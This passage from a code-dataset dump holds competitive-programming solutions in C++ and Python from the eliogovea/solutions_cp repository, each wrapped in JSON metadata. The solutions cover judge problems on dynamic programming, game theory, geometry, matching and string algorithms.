1ll;\n }\n dicB[b] = step;\n }\n }\n\n if( dicA[b] ){\n cout << A << \" needs \" << dicA[b]-1 << \" steps, \" << B << \" needs \" << dicB[b]-1 << \" steps, they meet at \" << b << '\\n';\n }\n else{\n cout << A << \" needs \" << dicA[a]-1 << \" steps, \" << B << \" needs \" << dicB[a]-1 << \" steps, they meet at \" << a << '\\n';\n }\n }\n}\n" }, { "alpha_fraction": 0.3011811077594757, "alphanum_fraction": 0.3366141617298126, "avg_line_length": 20.16666603088379, "blob_id": "b6f497e56e7a6c5e37b449ba567438f8ff036ede", "content_id": "4ded341b51989d9734ed01a0c9c232d914435ea6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1016, "license_type": "no_license", "max_line_length": 81, "num_lines": 48, "path": "/Caribbean-Training-Camp-2017/Contest_5/Solutions/G5.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MAXN = 100002;\nconst int ro = 350;\n\nint mex[MAXN][ro];\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n\n //freopen(\"dat.txt\", \"r\", stdin);\n\n int MAX = 100000;\n\n for( int i = 1; i <= MAX; i++ ){\n for( int k = 1; k <= ro; k++ ){\n if( k > i ){\n mex[i][k] = 0;\n continue;\n }\n\n if( mex[i-k][k] != 0 && (i < (k+1) || mex[i-(k+1)][k+1] != 0) ){\n mex[i][k] = 0;\n }\n else if( mex[i-k][k] != 1 && (i < (k+1) || mex[i-(k+1)][k+1] != 1) ){\n mex[i][k] = 1;\n }\n else{\n mex[i][k] = 2;\n }\n }\n }\n\n int n; int tc = 1;\n while( cin >> n , n ){\n if( n == 1 || !mex[n-1][1] ){\n cout << \"Case #\" << tc << \": First player wins.\\n\";\n }\n else{\n cout << \"Case #\" << tc << \": Second player wins.\\n\";\n }\n\n tc++;\n }\n}\n" }, { "alpha_fraction": 0.26014864444732666, "alphanum_fraction": 0.2910234332084656, "avg_line_length": 19.072288513183594, "blob_id": "e05448306f614d67cbd897e3cf5ed083ada881a0", "content_id": "33e7855b3ac2e36c1daab64b55b9bb3c65df8d55", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1749, "license_type": "no_license", "max_line_length": 64, "num_lines": 83, "path": "/COJ/eliogovea-cojAC/eliogovea-p3556-Accepted-s921550.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "/// sUrPRise\r\n\r\n#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int INF = 1e9;\r\n\r\nint a, m;\r\nint n, sz[25], v[25][1205];\r\n\r\nint dp[25][1005];\r\nint rec[25][1005];\r\n\r\nint main() {\r\n ios::sync_with_stdio(false);\r\n cin.tie(0);\r\n cout.precision(4);\r\n\r\n //freopen(\"dat.txt\", \"r\", stdin);\r\n\r\n cin >> a >> m;\r\n\r\n\r\n for (int i = 1; i <= a; i++) {\r\n cin >> sz[i];\r\n for (int j = 1; j <= sz[i]; j++) {\r\n cin >> v[i][j];\r\n }\r\n for (int j = 1; j <= sz[i]; j++) {\r\n v[i][j] += v[i][j - 1];\r\n }\r\n }\r\n\r\n for (int i = 0; i <= a; i++) {\r\n for (int j = 0; j <= m; j++) {\r\n dp[i][j] = INF;\r\n }\r\n }\r\n\r\n dp[0][0] = 0;\r\n\r\n for (int i = 0; i < a; i++) {\r\n for (int j = 0; j <= m; j++) {\r\n dp[i + 1][j] = dp[i][j];\r\n rec[i + 1][j] = 0;\r\n }\r\n\r\n for (int j = 0; j <= m; j++) {\r\n for (int k = 0; k + j <= m && k <= sz[i + 1]; k++) {\r\n int val = dp[i][j] + v[i + 1][k];\r\n if (val < dp[i + 1][j + k]) {\r\n dp[i + 1][j + k] = val;\r\n rec[i + 1][j + k] = k;\r\n }\r\n }\r\n }\r\n }\r\n\r\n int pos = 0;\r\n int ans = 0;\r\n for (int i = 0; i <= m; i++) {\r\n\r\n int val = 10 * i - dp[a][i];\r\n if (val > ans) {\r\n ans = val;\r\n pos = i;\r\n }\r\n }\r\n cout << ans << \" \" << pos << \"\\n\";\r\n vector <int> x(a + 5);\r\n for (int i = a; i >= 1; i--) {\r\n x[i] = rec[i][pos];\r\n pos -= rec[i][pos];\r\n }\r\n for (int i = 1; i <= a; i++) {\r\n cout << x[i];\r\n if (i + 1 <= a) {\r\n cout << \" \";\r\n }\r\n }\r\n cout << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.4772532284259796, "alphanum_fraction": 0.4927038550376892, "avg_line_length": 17.74576187133789, "blob_id": "74b6e75b0876f39aa4490f1b6aaa1d8727b0720a", "content_id": "894e56c5a820ba5c25a4dbed676f3a88bed3315b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1165, "license_type": "no_license", "max_line_length": 71, "num_lines": 59, "path": "/COJ/eliogovea-cojAC/eliogovea-p3241-Accepted-s983358.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nbool readLine(long long &n, vector <int> &c) {\r\n\tstring line;\r\n\tif (!getline(cin, line)) {\r\n\t\treturn false;\r\n\t}\r\n\tistringstream in(line);\r\n\tin >> n;\r\n\tc.clear();\r\n\tint x;\r\n\twhile (in >> x) {\r\n\t\tc.push_back(x);\r\n\t}\r\n\treturn true;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tconst int MOD = 10;\r\n\tconst int cycleSize = 60;\r\n\tvector <int> values(cycleSize);\r\n\tvalues[0] = 1;\r\n\tvalues[1] = 1;\r\n\tfor (int i = 2; i < cycleSize; i++) {\r\n\t\tvalues[i] = (values[i - 2] + values[i - 1]) % MOD;\r\n\t}\r\n\tlong long n;\r\n\tvector <int> c;\r\n\twhile (readLine(n, c)) {\r\n\t\tint k = c.size();\r\n\t\tif (n < k) {\r\n\t\t\tcout << \"0\\n\";\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tlong long answer = 0;\r\n\t\tfor (int start = 0; start < cycleSize && start < n; start++) {\r\n\t\t\tbool ok = true;\r\n\t\t\tfor (int i = 0; i < k; i++) {\r\n\t\t\t\tif (values[(start + i) % cycleSize] != c[i]) {\r\n\t\t\t\t\tok = false;\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tif (!ok) {\r\n continue;\r\n\t\t\t}\r\n\t\t\tif (n - k - start < 0) {\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\t\t\tlong long x = (long long)(n - k - start) / (long long)cycleSize + 1;\r\n\t\t\tanswer += x;\r\n\t\t}\r\n\t\tcout << answer << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.35098040103912354, "alphanum_fraction": 0.386274516582489, "avg_line_length": 14.90625, "blob_id": "be336c03b0ea016a2c0e3d40bc0929f0f111432a", "content_id": "d9b813a073f9c4811ec9f13f93effd86efd27050", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 510, "license_type": "no_license", "max_line_length": 71, "num_lines": 32, "path": "/COJ/Copa-UCI-2018/D.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long ll;\n\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n long long x, y, c1, c2; cin >> c1 >> c2 >> x >> y;\n\n\n ll ini = 1, fin = (1ll<<60);\n\n ll sol = 0;\n\n while( ini <= fin ){\n ll n = (ini + fin) / 2ll;\n\n if( n - n/x >= c1 && n - n/y >= c2 && n - n/(x*y) >= c1 + c2 ){\n sol = n;\n fin = n-1ll;\n }\n else{\n ini = n+1ll;\n }\n }\n\n cout << sol << '\\n';\n}\n\n" }, { "alpha_fraction": 0.27610209584236145, "alphanum_fraction": 0.30858469009399414, "avg_line_length": 19.023256301879883, "blob_id": "cb2f4ab33270c711856db50b386f204228dda8a5", "content_id": "2487e204e1c9d31d5d5982f4881dcd373ea0f6ef", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 862, "license_type": "no_license", "max_line_length": 66, "num_lines": 43, "path": "/COJ/eliogovea-cojAC/eliogovea-p3972-Accepted-s1202525.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nint getGrundy(long long x) {\n long long p12 = 1;\n while (p12 <= x / 12LL) {\n p12 *= 12LL;\n }\n x -= p12;\n if (x < p12) {\n return 1;\n }\n if (x < 3LL * p12) {\n return 2;\n }\n if (x < 5LL * p12) {\n return 3;\n }\n return 0;\n}\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n\n\n int t;\n cin >> t;\n\n while (t--) {\n int n;\n cin >> n;\n int xorSum = 0;\n while (n--) {\n long long x;\n cin >> x;\n xorSum ^= getGrundy(x);\n }\n\n cout << (xorSum == 0 ? \"Derek\" : \"Henry\") << \"\\n\";\n }\n}\n\n" }, { "alpha_fraction": 0.3889789283275604, "alphanum_fraction": 0.4246353209018707, "avg_line_length": 15.571428298950195, "blob_id": "f5974ec3e08d2ff2e232e69e3ae94c981f0bbe9c", "content_id": "336b3b4bfd9548e1a2f022ad0282e595ef1ce461", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 617, "license_type": "no_license", "max_line_length": 51, "num_lines": 35, "path": "/COJ/eliogovea-cojAC/eliogovea-p2958-Accepted-s670172.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\n#define sf scanf\r\n#define pf printf\r\n\r\ntypedef long long LL;\r\n\r\nconst int mod = 1e9 + 7;\r\n\r\nconst int MAXN = 3000;\r\n\r\nint tc, n, C[MAXN + 5][MAXN + 5];\r\n\r\n\r\nint main() {//freopen(\"dat.in\",\"r\",stdin);\r\n\tfor (int i = 0; i < MAXN; i++)\r\n\t\tC[i][0] = C[i][i] = 1;\r\n\tfor (int i = 2; i < MAXN; i++)\r\n\t\tfor (int j = 1; j < i; j++)\r\n\t\t\tC[i][j] = (C[i - 1][j - 1] + C[i - 1][j]) % mod;\r\n\r\n\tcin >> tc;\r\n\twhile (tc--) {\r\n\t\tcin >> n;\r\n\t\tint i = 0;\r\n\t\twhile (n > (1 << i)) {\r\n\t\t\tn -= (1 << i);\r\n\t\t\ti++;\r\n\t\t}\r\n\t\ti = 1 << i;\r\n\t\tcout << (C[i][n] - 1 + mod) % mod << \"\\n\";\r\n\t}\r\n}\r\n\r\n" }, { "alpha_fraction": 0.38429751992225647, "alphanum_fraction": 0.41322314739227295, "avg_line_length": 18.16666603088379, "blob_id": "3d362ea99f3265f034c968f025c12d9b61b18e89", "content_id": "117d1043d65be813bb850fac689687313c2404d8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 484, "license_type": "no_license", "max_line_length": 51, "num_lines": 24, "path": "/COJ/eliogovea-cojAC/eliogovea-p2346-Accepted-s549624.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<cmath>\r\n\r\ndouble R,r,H,h,c;\r\n\r\nint main()\r\n{\r\n\twhile(scanf(\"%lf%lf%lf%lf\",&r,&R,&H,&h))\r\n\t{\r\n\t if(R==0.0 && r==0.0 && H==0.0 && h==0.0)break;\r\n if(R==r)\r\n {\r\n double v=M_PI*R*R*(H-h);\r\n printf(\"%.4lf\\n\",v);\r\n continue;\r\n }\r\n\t\tdouble c=r*H/(R-r);\r\n\t\tdouble rc=r*(h+c)/c;\r\n\t\tdouble vt=M_PI*( R*R*(H+c) - r*r*c )/3.0;\r\n\t\tdouble vp=M_PI*( rc*rc*(h+c) - r*r*c )/3.0;\r\n\r\n\t\tprintf(\"%.4lf\\n\",vt-vp);\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.37026238441467285, "alphanum_fraction": 0.39650145173072815, "avg_line_length": 16.052631378173828, "blob_id": "0b966d19bf9251b1a61e80aa1e22803418afb4d8", "content_id": "c514598ab958d6f9ad3dbbe88694cc41f3fa6bbe", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 343, "license_type": "no_license", "max_line_length": 44, "num_lines": 19, "path": "/COJ/eliogovea-cojAC/eliogovea-p1502-Accepted-s504236.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<cstring>\r\nint n;\r\ndouble l,lc;\r\nchar c[15];\r\n\r\nint main()\r\n{\r\n for(scanf(\"%d\",&n);n--;)\r\n {\r\n scanf(\"%lf\",&l);\r\n sprintf(c,\"%.3lf\",2.0*l*l/9.0);\r\n lc=strlen(c);\r\n for(int i=0; i<lc; i++)\r\n printf(\"%c\",c[i]=='.'?',':c[i]);\r\n printf(\"\\n\");\r\n }\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.3312731683254242, "alphanum_fraction": 0.3782447576522827, "avg_line_length": 20.47222137451172, "blob_id": "1c846b83d8fb4f5aaab35ae1258da379e58ebd8a", "content_id": "be48909c07e0b8fbc7ed1dc871d05faa91821359", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 809, "license_type": "no_license", "max_line_length": 71, "num_lines": 36, "path": "/COJ/eliogovea-cojAC/eliogovea-p1861-Accepted-s481378.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<algorithm>\r\n#include<iostream>\r\nusing namespace std;\r\n\r\nint t,n,a[200][200];\r\n\r\nint main()\r\n{\r\n scanf(\"%d\",&t);\r\n for(int r=1; r<=t; r++)\r\n {\r\n scanf(\"%d\",&n);\r\n\r\n for(int i=1; i<2*n; i++)\r\n for(int j=1; j<=min(i,2*n-i); j++)scanf(\"%d\",&a[i][j]);\r\n\r\n for(int i=2; i<=n; i++)\r\n {\r\n a[i][1]+=a[i-1][1];\r\n a[i][i]+=a[i-1][i-1];\r\n }\r\n\r\n for(int i=3; i<=n; i++)\r\n for(int j=2; j<i; j++)a[i][j]+=max(a[i-1][j-1],a[i-1][j]);\r\n\r\n for(int i=n+1; i<2*n; i++)\r\n for(int j=1; j<=2*n-i; j++)a[i][j]+=max(a[i-1][j+1],a[i-1][j]);\r\n\r\n printf(\"Case %d: %d\\n\",r,a[2*n-1][1]);\r\n\r\n for(int i=1; i<2*n; i++)\r\n for(int j=1; j<=min(i,2*n-i); j++)a[i][j]=0;\r\n }\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.3709273040294647, "alphanum_fraction": 0.47117793560028076, "avg_line_length": 20.16666603088379, "blob_id": "37d57aa71593d471bcba95d0a37a2aa602a36a17", "content_id": "19e773d835ccb73d6ef4bb3fe1ceb9d3b2f93237", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 399, "license_type": "no_license", "max_line_length": 68, "num_lines": 18, "path": "/COJ/eliogovea-cojAC/eliogovea-p1144-Accepted-s499014.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<cmath>\r\n\r\nint m1,m2,m3;\r\ndouble a,p,M1,M2,M3;\r\n\r\nint main()\r\n{\r\n for(int i=1; i<=1000; i++)\r\n {\r\n scanf(\"%d%d%d\",&m1,&m2,&m3);\r\n double M1=(double)m1,M2=(double)m2,M3=(double)m3;\r\n p=(M1+M2+M3)/2;\r\n if(M1>=p||M2>=p||M3>=p)printf(\"-1.000\\n\");\r\n else printf(\"%.3lf\\n\",4.0*sqrt(p*(p-M1)*(p-M2)*(p-M3))/3.0);\r\n }\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.4607190489768982, "alphanum_fraction": 0.47270306944847107, "avg_line_length": 18.230770111083984, "blob_id": "1814c62a98b52ee201fa82e5561d5d894c1775a9", "content_id": "2e8b4c3cdaba83e4da7ec5ce317eddfd44eda1af", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 751, "license_type": "no_license", "max_line_length": 54, "num_lines": 39, "path": "/Hackerrank/string-similarity.py", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#!/bin/python3\n\nimport math\nimport os\nimport random\nimport re\nimport sys\n\ndef zFunction(s):\n n = len(s)\n l, r = -1, -1\n z = [0] * n\n for i in range(1, n):\n if i <= r:\n z[i] = min(r - i + 1, z[i - l])\n while i + z[i] < n and s[i + z[i]] == s[z[i]]:\n z[i] += 1\n if i + z[i] - 1 > r:\n l = i\n r = i + z[i] - 1\n return z\n\n# Complete the stringSimilarity function below.\ndef stringSimilarity(s):\n return len(s) + sum(zFunction(s))\n\nif __name__ == '__main__':\n fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n t = int(input())\n\n for t_itr in range(t):\n s = input()\n\n result = stringSimilarity(s)\n\n fptr.write(str(result) + '\\n')\n\n fptr.close()\n\n" }, { "alpha_fraction": 0.458149790763855, "alphanum_fraction": 0.48458150029182434, "avg_line_length": 17.457143783569336, "blob_id": "a15d3bd44034a77cd84b13fa82083f4016e78c81", "content_id": "1d4f2a9df1e59d24e1705ef3252e9b03f13d4161", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1362, "license_type": "no_license", "max_line_length": 46, "num_lines": 70, "path": "/COJ/eliogovea-cojAC/eliogovea-p3022-Accepted-s696630.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <cstdio>\r\n#include <cmath>\r\n#include <cstdlib>\r\n#include <algorithm>\r\n#include <list>\r\n#include <vector>\r\n#include <stack>\r\n#include <bitset>\r\n#include <queue>\r\n#include <set>\r\n#include <map>\r\n\r\nusing namespace std;\r\n\r\nconst double eps = 1e-7;\r\n\r\nint tc, n, m;\r\ndouble x[105], y[105], xx[105], yy[105], s, v;\r\n\r\ninline double dist(int i, int j) {\r\n\tdouble dx = x[i] - xx[j];\r\n\tdouble dy = y[i] - yy[j];\r\n\treturn sqrt(dx * dx + dy * dy);\r\n}\r\n\r\nvector<int> G[105];\r\nint mark[105], id, match[105];\r\n\r\nbool kuhn(int u) {\r\n\tif (mark[u] == id) return false;\r\n\tmark[u] = id;\r\n\tfor (int i = 0; i < G[u].size(); i++) {\r\n\t\tint v = G[u][i];\r\n\t\tif (match[v] == -1 || kuhn(match[v])) {\r\n\t\t\tmatch[v] = u;\r\n\t\t\treturn true;\r\n\t\t}\r\n\t}\r\n\treturn false;\r\n}\r\n\r\nint matching() {\r\n\tint ret = 0;\r\n\tfor (int i = 0; i <= 100; i++) match[i] = -1;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tid++;\r\n\t\tif (kuhn(i)) ret++;\r\n\t}\r\n\treturn ret;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\twhile (cin >> n >> m >> s >> v) {\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tG[i].clear();\r\n\t\t\tcin >> x[i] >> y[i];\r\n\t\t}\r\n\t\tfor (int i = 0; i < m; i++)\r\n\t\t\tcin >> xx[i] >> yy[i];\r\n\t\tfor (int i = 0; i < n; i++)\r\n\t\t\tfor (int j = 0; j < m; j++) {\r\n\t\t\t\tdouble d = dist(i, j) / v;\r\n\t\t\t\tif (d <= s + eps) G[i].push_back(j);\r\n\t\t\t}\r\n\t\tint cnt = n - matching();\r\n\t\tcout << cnt << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.32051658630371094, "alphanum_fraction": 0.34223657846450806, "avg_line_length": 21.414474487304688, "blob_id": "c86ef962b607b2dbc73b92d77dc72f58c7500909", "content_id": "677c6dba34f09e518be287698a1215aef1e14ee2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3407, "license_type": "no_license", "max_line_length": 89, "num_lines": 152, "path": "/Caribbean-Training-Camp-2017/Contest_7/Solutions/E7.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long LL;\n\ninline int sign(LL x) {\n if (x < 0) {\n return -1;\n }\n return (x > 0);\n}\n\nstruct pt {\n LL x, y;\n pt() {}\n pt(LL _x, LL _y) {\n x = _x;\n y = _y;\n }\n};\n\npt operator - (const pt &a, const pt &b) {\n return pt(a.x - b.x, a.y - b.y);\n}\n\nLL cross(const pt &a, const pt &b) {\n return a.x * b.y - a.y * b.x;\n}\n\nLL dot(const pt&a, const pt &b) {\n return a.x * b.x + a.y * b.y;\n}\n\nLL dist2(const pt &a, const pt &b) {\n return dot(b - a, b - a);\n}\n\npt O;\nbool operator < (const pt &a, const pt &b) {\n int c = sign(cross(a - O, b - O));\n if (c != 0) {\n return c == 1;\n }\n return dist2(a, O) < dist2(b, O);\n}\n\nconst int N = 100005;\n\nint n;\npt p[N];\npt ch[N]; int sz;\n\nint main()\n{\n ios::sync_with_stdio(false);\n cin.tie(0);\n\n // freopen(\"dat.txt\", \"r\", stdin);\n\n cin >> n;\n for (int i = 0; i < n; i++) {\n cin >> p[i].x >> p[i].y;\n }\n LL ans = 0;\n if (n <= 2000) {\n for (int i = 0; i < n; i++) {\n for (int j = i + 1; j < n; j++) {\n ans = max(ans, abs(cross(p[i], p[j])));\n }\n }\n cout << ans << \"\\n\";\n return 0;\n }\n\n for (int i = 1; i < n; i++) {\n if (p[i].y < p[0].y || (p[i].y == p[0].y && p[i].x < p[0].x)) {\n swap(p[0], p[i]);\n }\n }\n\n O = p[0];\n sort(p + 1, p + n);\n sz = 0;\n for (int i = 0; i < n; i++) {\n while (sz >= 2 && sign(cross(ch[sz - 1] - ch[sz - 2], p[i] - ch[sz - 2])) <= 0) {\n sz--;\n }\n ch[sz++] = p[i];\n }\n if (sz <= 2000) {\n for (int i = 0; i < sz; i++) {\n for (int j = i + 1; j < sz; j++) {\n ans = max(ans, abs(cross(ch[i], ch[j])));\n }\n }\n cout << ans << \"\\n\";\n return 0;\n }\n for (int i = 0; i < sz; i++) {\n ans = max(ans, abs(cross(ch[i], ch[(i + 1) % sz])));\n }\n int pos = 1;\n for (int i = 0; i < sz; i++) {\n while (((pos + 1) % sz) != i && cross(ch[i], ch[(pos + 1) % sz]) >= 0LL) {\n pos++;\n }\n int lo = i + 1;\n if (cross(ch[i], ch[lo % sz]) == 0) {\n lo++;\n }\n int hi = pos;\n int pp = 0;\n while (lo <= hi) {\n int mid = (lo + hi) >> 1;\n if (cross(ch[i], ch[mid % sz]) >= cross(ch[i], ch[((mid - 1 + sz) % sz)])) {\n pp = mid;\n lo = mid + 1;\n } else {\n hi = mid - 1;\n }\n }\n ans = max(ans, abs(cross(ch[i], ch[pp % sz])));\n }\n for (int i = 0; i < sz; i++) {\n ch[i].x = -ch[i].x;\n ch[i].y = -ch[i].y;\n }\n pos = 2;\n for (int i = 1; i != 0; i = (i + 1) % sz) {\n while (((pos + 1) % sz) != i && cross(ch[i], ch[(pos + 1) % sz]) >= 0LL) {\n pos++;\n }\n int lo = i + 1;\n if (cross(ch[i], ch[lo % sz]) == 0) {\n lo++;\n }\n int hi = pos;\n int pp = 0;\n while (lo <= hi) {\n int mid = (lo + hi) >> 1;\n if (cross(ch[i], ch[mid % sz]) >= cross(ch[i], ch[((mid - 1 + sz) % sz)])) {\n pp = mid;\n lo = mid + 1;\n } else {\n hi = mid - 1;\n }\n }\n ans = max(ans, abs(cross(ch[i], ch[pp % sz])));\n }\n cout << ans << \"\\n\";\n}\n" }, { "alpha_fraction": 0.4452798664569855, "alphanum_fraction": 0.4736842215061188, "avg_line_length": 14.139240264892578, "blob_id": "7027a032a2b87f110fdfd521fd45499505964eb6", "content_id": "143e232733fbcbf355107a2b34ed6cec58172041", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1197, "license_type": "no_license", "max_line_length": 52, "num_lines": 79, "path": "/Codechef/SUMQ.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MOD = 1000000007;\n\ninline void add(int &a, int b) {\n\ta += b;\n\tif (a >= MOD) {\n\t\ta -= MOD;\n\t}\n}\n\ninline int mul(int a, int b) {\n\treturn (long long)a * b % MOD;\n}\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\n\tint t;\n\tcin >> t;\n\twhile (t--) {\n\t\tint sa, sb, sc;\n\t\tcin >> sa >> sb >> sc;\n\n\t\tvector <int> va(sa);\n\t\tfor (int i = 0; i < sa; i++) {\n\t\t\tcin >> va[i];\n\t\t}\n\t\tvector <int> vb(sb);\n\t\tfor (int i = 0; i < sb; i++) {\n\t\t\tcin >> vb[i];\n\t\t}\n\t\tvector <int> vc(sc);\n\t\tfor (int i = 0; i < sc; i++) {\n\t\t\tcin >> vc[i];\n\t\t}\n\t\tsort(va.begin(), va.end());\n\t\tsort(vb.begin(), vb.end());\n\t\tsort(vc.begin(), vc.end());\n\n\t\tint pa = 0;\n\t\tint pc = 0;\n\n\t\tint suma = 0;\n\t\tint sumc = 0;\n\n\t\tint answer = 0;\n\n\t\tfor (int i = 0; i < vb.size(); i++) {\n\t\t\twhile (pa < sa && va[pa] <= vb[i]) {\n\t\t\t\tadd(suma, va[pa]);\n\t\t\t\tpa++;\n\t\t\t}\n\t\t\twhile (pc < sc && vc[pc] <= vb[i]) {\n\t\t\t\tadd(sumc, vc[pc]);\n\t\t\t\tpc++;\n\t\t\t}\n\t\t\tadd(answer, mul(mul(vb[i], vb[i]), mul(pa, pc)));\n\t\t\tadd(answer, mul(vb[i], mul(pc, suma)));\n\t\t\tadd(answer, mul(vb[i], mul(pa, sumc)));\n\t\t\tadd(answer, mul(suma, sumc));\n\t\t}\n\n\t\tcout << answer << \"\\n\";\n\t}\n}\n\n/*\n1\n3 1 3\n1 2 3\n5\n4 5 6\n\n399\n*/\n\n" }, { "alpha_fraction": 0.3150579035282135, "alphanum_fraction": 0.33281853795051575, "avg_line_length": 18.621212005615234, "blob_id": "e328a255fd34f1bf8aae61d88cf79df64c6b71cb", "content_id": "30dcef4cee20183a4046c981f4db5d36d2a0e16e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1295, "license_type": "no_license", "max_line_length": 58, "num_lines": 66, "path": "/Codeforces-Gym/101246 - 2010-2011 ACM-ICPC, NEERC, Southern Subregional Contest/F.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2010-2011 ACM-ICPC, NEERC, Southern Subregional Contest\n// 101246F\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MAXN = 200;\n\nbool v[MAXN];\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\tfreopen(\"input.txt\", \"r\", stdin);\n\tfreopen(\"output.txt\", \"w\", stdout);\n\n int n, f; cin >> n >> f;\n\n vector<int> x( n , 0 );\n for( int i = 0; i < n; i++ ){\n cin >> x[i];\n v[ x[i] ] = true;\n }\n\n vector<int> sol;\n\n for( int i = 0; i < n; i++ ){\n if( !v[ x[i] ] ){\n continue;\n }\n\n if( f < x[i] ){\n while( f < x[i] ){\n if( v[f] ){\n sol.push_back( f );\n }\n v[f] = false;\n f++;\n }\n if( v[f] ){\n sol.push_back( f );\n }\n v[f] = false;\n }\n else{\n while( f > x[i] ){\n if( v[f] ){\n sol.push_back( f );\n }\n v[f] = false;\n f--;\n }\n if( v[f] ){\n sol.push_back( f );\n }\n v[f] = false;\n }\n }\n\n for( int i = 0; i < n; i++ ){\n cout << sol[i] << \" \\n\"[i+1==n];\n }\n}\n" }, { "alpha_fraction": 0.49738767743110657, "alphanum_fraction": 0.5308254957199097, "avg_line_length": 20.255813598632812, "blob_id": "35153ce42747a38fb59a92b5b3439a9f196c48f8", "content_id": "efba53d5ed7e3f6a5d5da5f980bead1087335c31", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 957, "license_type": "no_license", "max_line_length": 97, "num_lines": 43, "path": "/COJ/eliogovea-cojAC/eliogovea-p2560-Accepted-s1054684.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int MOD = 1000 * 1000 * 1000 + 7;\r\n\r\ninline void add(int &a, int b) {\r\n\ta += b;\r\n\tif (a >= MOD) {\r\n\t\ta -= MOD;\r\n\t}\r\n}\r\n\r\nconst int N = 1005;\r\n\r\nint n;\r\nint dp[N][N][5];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\tcin >> n;\r\n\tfor (int firstStack = 1; firstStack <= n; firstStack++) {\r\n\t\tdp[firstStack][firstStack][(firstStack & 1) ^ 1] = 1;\r\n\t}\r\n\tfor (int total = 1; total <= n; total++) {\r\n\t\tfor (int lastStack = 1; lastStack <= total; lastStack++) {\r\n\t\t\tfor (int odd = 0; odd < 2; odd++) {\r\n\t\t\t\tif (dp[total][lastStack][odd]) {\r\n\t\t\t\t\tfor (int newStack = lastStack; newStack + total <= n; newStack++) {\r\n\t\t\t\t\t\tadd(dp[total + newStack][newStack][odd ^ ((newStack & 1) ^ 1)], 